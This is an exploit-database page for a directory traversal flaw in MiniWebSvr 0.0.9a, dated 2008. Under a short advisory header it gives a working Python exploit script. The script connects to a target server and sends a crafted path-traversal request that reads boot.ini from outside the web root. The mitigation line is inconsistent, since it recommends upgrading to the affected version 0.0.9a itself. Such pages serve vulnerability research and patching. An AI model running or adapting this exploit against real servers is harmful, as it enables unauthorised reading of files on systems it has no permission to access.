header-logo
Suggest Exploit
vendor:
MiniWebSvr
by:
gbr
7.5
CVSS
HIGH
Directory Transversal
22
CWE
Product Name: MiniWebSvr
Affected Version From: 0.0.9a
Affected Version To: 0.0.9a
Patch Exists: YES
Related CWE: N/A
CPE: miniwebsvr
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP2
2008

MiniWebSvr 0.0.9a Directory Transversal Vulnerability

MiniWebSvr 0.0.9a is vulnerable to a directory transversal attack. By sending a specially crafted HTTP request, an attacker can read arbitrary files from the server.

Mitigation:

Upgrade to the latest version of MiniWebSvr 0.0.9a
Source

Exploit-DB raw data:

import socket
import sys

print '---------------------------------------------------------'
print 'MiniWebSvr 0.0.9a Directory Transversal Vulnerability'
print 'Project URL: http://miniwebsvr.sourceforge.net/'
print 'Author: gbr'
print 'Tested on Windows XP SP2'
print '---------------------------------------------------------'

host = "127.0.0.1"
port = 8080

if sys.argv[1:]:
        host = sys.argv[1]
        if sys.argv[2:]:
                port = int(sys.argv[2])

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send("GET /%../../../../../../../../../../../boot.ini HTTP/1.0\r\n\r\n")
        while True:
                data = s.recv(4096)
                if not data:
                        break
                print data

except:
        print "Connection Error"

# milw0rm.com [2008-03-03]